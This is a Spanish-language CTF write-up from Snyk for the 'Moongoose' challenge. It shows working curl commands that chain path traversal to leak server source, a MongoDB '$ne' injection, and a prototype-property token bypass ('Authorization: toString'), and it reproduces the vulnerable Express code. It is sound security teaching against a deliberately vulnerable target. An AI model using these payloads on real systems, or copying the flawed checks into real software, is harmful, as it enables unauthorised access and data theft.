Skip to main content

Solución de Fetch the Flag CTF 2022: Moongoose

Escrito por

Jason Lynch

feature ctf moongoose

9 de noviembre de 2022

0 minutos de lectura

¡Gracias por jugar Fetch con nosotros! Felicitaciones a los miles de jugadores que participaron en Fetch the Flag CTF. ¡Y muchísimas gracias a los Snykers que crearon, probaron y documentaron los desafíos!

Como empleado de Snyk, tuve la oportunidad de participar con mis compañeros en una «prueba beta» de la competencia Fetch the Flag 2022 de Snyk. Nos divertimos mucho resolviendo estos desafíos juntos y, personalmente, aprendí mucho de la experiencia. Esta es la solución de un desafío que disfruté especialmente: Moongoose.

Desafío

Si creías que habían puesto un ganso en la luna

Este desafío comienza en una página de inicio de sesión críptica, con temática de la luna y los gansos. Para encontrar la bandera, tendremos que explotar varias vulnerabilidades: recorrido de directorios, inyección NoSQL y algunos comportamientos complicados de JavaScript. Como en cualquier otro desafío CTF, nuestro primer paso es encontrar un punto de entrada.

Guía paso a paso

Cómo encontrar un punto de entrada

Quizás notaste que el nombre de este desafío, «Moongoose», se diferencia por una sola letra de «Mongoose», que es el nombre de un framework popular de Node.js para MongoDB. ¿Será una pista para encontrar la solución? Veamos si podemos confirmar esa sospecha.

Primero, vayamos al desafío y veamos qué observamos a primera vista. Encontramos:

  • Un formulario de inicio de sesión

  • Un formulario de registro

  • Dos imágenes con una luna y un ganso que giran con mucho estilo

  • Un fondo genial con un campo de estrellas

Cualquier elemento que acepte datos del usuario es un buen punto de partida para el análisis, así que primero nos centraremos en los formularios de inicio de sesión y registro.

Pantalla de registro con temática espacial, una luna, un ganso de caricatura, un mensaje de error, campos para el nombre de usuario y la contraseña, y un botón verde de registro

Al probar distintas combinaciones de nombres de usuario y contraseñas en cada formulario, obtenemos dos mensajes de error diferentes:

  • Cuando completamos tanto el nombre de usuario como la contraseña, obtenemos: { "☾ 𓅬": "invalid moongoose!" }

  • Cuando falta uno o ambos campos, obtenemos: {"☾ 𓅬":"invalid moongoose: geese have credentials"}

Curiosamente, vemos el mismo comportamiento en los formularios de inicio de sesión y registro. Abramos el panel de red de las herramientas para desarrolladores del navegador para entender mejor qué sucede.

Herramientas de desarrollo del navegador que muestran una solicitud POST a una API de autenticación que devuelve el estado 418 «I'm a Teapot».

En estas capturas uso Firefox, pero los mismos principios se aplican a todos los navegadores principales.

Al observar el tráfico de red, vemos que ambos formularios envían la misma solicitud POST al endpoint api/auth. Por lo tanto, da igual cuál usemos. Uno de los encabezados de respuesta de estas solicitudes llama la atención:

X-Powered-By: Express

Para quienes no conocen ese nombre, Express es un framework de servidor web de Node.js muy utilizado. Como atacantes, esta es una información potencialmente valiosa. Ahora conocemos (o al menos sospechamos firmemente) el lenguaje, el entorno de ejecución y el framework de este servidor. Aunque esto no confirma que use Mongoose y MongoDB, sí respalda esa intuición.

Si seguimos esa hipótesis y suponemos que MongoDB se usa en el flujo de inicio de sesión, quizá podríamos probar una inyección de MongoDB con el endpoint api/auth. Esta es una inyección de consulta que encontré en book.hacktricks.xyz, un sitio increíblemente útil:

{"username": {"$ne": null}, "password": {"$ne": null} }

En la sintaxis de consulta de MongoDB, $ne es un operador que encuentra los casos en que un campo no es igual al valor indicado. En SQL, sería así:

WHERE username IS NOT NULL AND password IS NOT NULL

Si suponemos que este endpoint consulta MongoDB para encontrar un usuario donde username = X y password = Y, esta inyección equivaldría a decir: «dame el usuario cuyo nombre de usuario no sea nulo y cuya contraseña no sea nula». En teoría, esta consulta encontraría cualquier usuario válido. Abramos una terminal y probémoslo con cURL:

$ curl http://moongoose.c.ctf-snyk.io/api/auth \
    -H 'Content-Type: application/json' \
    --data '{"username": {"$ne": null}, "password": {"$ne": null}}'
{"☾ 𓅬":"No objects here"}

¡Parece que no será tan fácil! Volvamos al navegador y, con la pestaña de red aún abierta, busquemos otros endpoints de API que podamos intentar explotar. En esta captura, recargué la página y luego filtré el tráfico de red para ver las solicitudes que incluyen api en la ruta.

Panel Red de las herramientas para desarrolladores del navegador que muestra una solicitud GET exitosa para goose.png y sus encabezados de respuesta HTTP.

Vemos que la imagen del ganso se carga mediante una llamada a /api/image/goose.png. Al igual que el endpoint /api/auth, esta respuesta también incluye el encabezado X-Powered-By: Express. Podemos suponer que se usa el mismo servidor para servir archivos estáticos. Veamos qué pasa si intentamos solicitar otro archivo, como package.json:

$ curl 'http://moongoose.c.ctf-snyk.io/api/image/package.json'
{"oops":{"errno":-2,"syscall":"open","code":"ENOENT","path":"/app/res/package.json"}}

Esa respuesta es una gran señal de alerta. Parece que:

  • El servidor intenta abrir desde el disco el archivo que especificamos

  • Es probable que el código de la aplicación esté en /app

Todavía no sabemos si este servidor usa una biblioteca o código personalizado para servir archivos estáticos. Pero podemos probar una vulnerabilidad común de los servidores de archivos estáticos: recorrido de directorios. En resumen, usaremos ../ para solicitar un archivo del directorio principal de la ubicación donde se guardan las imágenes. Observa que debemos codificar la barra como URL (%2f), porque, de lo contrario, nuestra solicitud se interpretaría como /api/package.json:

$ curl 'http://moongoose.c.ctf-snyk.io/api/image/..%2fpackage.json'
{
  "name": "moongoose",
  "version": "1.0.0",
  "description": "MoonGoose Server",
  "main": "server.js",
  "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1",
      "init": "node init.js",
      "start": "nodemon server.js"
  },
  "keywords": [
      "moon",
      "goose"
  ],
  "author": "mummagoose",
  "license": "ISC",
  "dependencies": {
      "bcryptjs": "^2.4.3",
      "body-parser": "^1.20.0",
      "concurrently": "^7.1.0",
      "express": "^4.18.1",
      "jsonwebtoken": "^8.5.1",
      "mongoose": "^6.3.3"
  }
}

Por fin confirmamos nuestra sospecha inicial: este servidor usa la biblioteca mongoose de MongoDB. También vemos que el código principal del servidor está en server.js. Probemos a obtener ese archivo:

$ curl 'http://moongoose.c.ctf-snyk.io/api/image/..%2fserver.js'

¡Lo logramos! Analicemos este servidor para descubrir cómo avanzar hasta la bandera.

Análisis del sistema de autenticación

Estas son las secciones de server.js que componen el sistema de autenticación:

// ...

const ADMIN_HASH = '$2b$12$.zYQ7xW4JFZoj3GvhXS9gOAJs8CUUIbub80UHqfjO20h2sdJpjwDW';
let SESSIONS = {};

// ...

app.post('/api/auth', async (req, res) => {
  const { username, password } = req.body;

  if ((!username) || (!password)) {
      res.status(418).json({ '☾ 𓅬': 'invalid moongoose: geese have credentials' });
      return;
  }

  if (typeof username !== 'string' || typeof password !== 'string') {
      res.status(401).json({ '☾ 𓅬': 'No objects here' });
      return;
  }

  if (!bcrypt.compareSync(password, ADMIN_HASH)) {
      res.status(401).json({ '☾ 𓅬': 'invalid moongoose!' });
      return;
  }

  const sessionToken = generateSessionToken();
  SESSIONS[sessionToken] = { username: username };
  res.setHeader('Authorization', sessionToken);
  res.json({ '☾ 𓅬': 'welcome moongoose' })
});

const checkToken = (sessions, token) => {
  if (!sessions[token]) {
      return false;
  }
  return true;
}

const requireAuthentication = () => {
  return (req, res, next) => {
      if (!checkToken(SESSIONS, req.header('Authorization'))) {
      res.status(418).json({ '☾ 𓅬': 'bad moongoose' })
      } else {
      next()
      }
  }
}

// ...

const generateSessionToken = () => {
  return Buffer.from(bcrypt.hashSync(bcrypt.genSaltSync(), 10)).toString('base64');
};

Hay mucho que analizar, así que resumiré mis conclusiones principales:

  • MongoDB no se usa en el sistema de autenticación.

  • Este código ignora el username y solo compara un hash de la password con una variable ADMIN_HASH codificada de forma fija.

  • Esta contraseña se procesa con un hash usando bcrypt, que requiere muchísimos recursos de cómputo para descifrarla por fuerza bruta.

  • Después de autenticarte correctamente, el servidor genera un token aleatorio y lo agrega al objeto global SESSIONS. El token se devuelve al cliente como un encabezado Authorization. Luego, el cliente puede enviar ese encabezado a los endpoints que usan el middleware requireAuthentication.

Análisis del endpoint de la bandera

// ...
const mongoose = require('mongoose');
// ...

const Flag = require('./models/user.model');

// Mongo Setup
mongoose.connect('mongodb://localhost:27017/ctf',
  {
      useNewUrlParser: true,
      useUnifiedTopology: true
  }
);

// ...

app.post('/api/flags', requireAuthentication(), async (req, res) => {
  const { flag } = req.body;
  console.log(flag);
  if (!flag) {
      res.status(418).json({ '☾ 𓅬': 'expected `flag` moongoose' })
      return;
  }

  const found = await Flag.find({ name: flag });
  if (!found.length) {
      res.json({error: `${flag} not found`});
      return;
  }
  res.status(418).send({found});
})

Para obtener la bandera, tendremos que:

  • superar la comprobación de autenticación

  • proporcionar el valor correcto para flag en el cuerpo de la solicitud

Al solicitar el archivo models/user.model.js mediante nuestro exploit de recorrido de directorios, vemos que Flag es un modelo de Mongoose y que esta llamada a Flag.find() consulta MongoDB para encontrar entradas donde name = <flag>.

El controlador /api/flags no aplica ningún saneamiento ni validación al cuerpo de la solicitud. Así que parece que podemos volver a intentar nuestra inyección de MongoDB anterior en lugar del nombre de la bandera. Pero primero, tendremos que superar el middleware requireAuthentication().

Unir todas las piezas

Como señalamos antes, es poco probable que podamos descifrar por fuerza bruta el ADMIN_HASH en un plazo razonable. ¿Podemos engañar al servidor para que crea que ya estamos autenticados?

Veamos la función que valida el token de sesión:

const checkToken = (sessions, token) => {
  if (!sessions[token]) {
      return false;
  }
  return true;
}

El punto débil de esta comprobación es que supone que el objeto SESSIONS solo contiene tokens de sesión. Pero la herencia prototípica de JavaScript hace que el objeto SESSIONS se inicialice con algunas propiedades ocultas y no enumerables. Podemos obtener una lista de esas propiedades ejecutando esta instrucción en un REPL de Node.js o en la pestaña Consola de las herramientas para desarrolladores del navegador:

> Object.getOwnPropertyNames(Object.prototype)
[
  'constructor',
  '__defineGetter__',
  '__defineSetter__',
  'hasOwnProperty',
  '__lookupGetter__',
  '__lookupSetter__',
  'isPrototypeOf',
  'propertyIsEnumerable',
  'toString',
  'valueOf',
  '__proto__',
  'toLocaleString'
]

Si tenemos razón, deberíamos poder usar cualquiera de estas propiedades como token de sesión y superar la función checkToken(). Al combinar esto con nuestra inyección de MongoDB, la solicitud final queda así:

$ curl http://moongoose.c.ctf-snyk.io/api/flags \
    -H 'Content-Type: application/json' \
    -H 'Authorization: toString' \
    --data '{"flag": {"$ne": null}}'

La respuesta a esta solicitud contiene todo el contenido de la colección flag, ¡incluida la bandera real!

¡Moongoose atrapado!

Este desafío mostró varias vulnerabilidades. Usamos el recorrido de directorios para obtener el código del servidor. Aprovechamos la herencia prototípica de JavaScript para eludir el sistema de autenticación. Por último, usamos una inyección de consulta de MongoDB para eliminar cualquier conjetura del endpoint /api/flags. Esta aplicación se creó con vulnerabilidades intencionales, pero este tipo de vulnerabilidades también se presenta en el mundo real. Si quieres aprender más sobre los distintos tipos de vulnerabilidades, cómo se explotan y cómo protegerte de ellas, Snyk Learn es un excelente recurso práctico.

¿Quieres saber cómo encontramos todas las demás banderas? Consulta nuestra página de soluciones de Fetch the Flag para ver cómo lo hicimos.

Empieza con Capture the Flag

Aprende a resolver desafíos de Capture the Flag viendo nuestro taller virtual introductorio a pedido.

Leer más

illustration hero ai
Blog

PHP corrige dos vulnerabilidades críticas de RCE sin autenticación (CVE-2026-109618, CVE-2026-109619): actualiza ahora

Dos fallas críticas en el ciclo de solicitudes de PHP pueden permitir la ejecución remota de código sin autenticación. Actualiza a una versión corregida o instala una corrección retroportada por un proveedor para las versiones anteriores.

blog feature ai lilac
Blog

Convierte tu backlog de vulnerabilidades en pull requests con la remediación agéntica

Evo Remediation Agent ya está disponible en Open Preview e incorpora la resolución automatizada de dependencias a Evo Agentic AppSec. Ahora, los equipos de AppSec pueden ejecutar campañas de remediación continuas

AI Background min crop
Blog

La IA activa todos los riesgos que has aceptado: siete ideas del panel de seguridad de IA sin filtros

La IA hace que los ataques sean más baratos y rápidos, y deja al descubierto riesgos que las organizaciones ya enfrentan. Cuatro líderes de seguridad explican por qué la defensa a velocidad de máquina y la corrección más rápida son esenciales.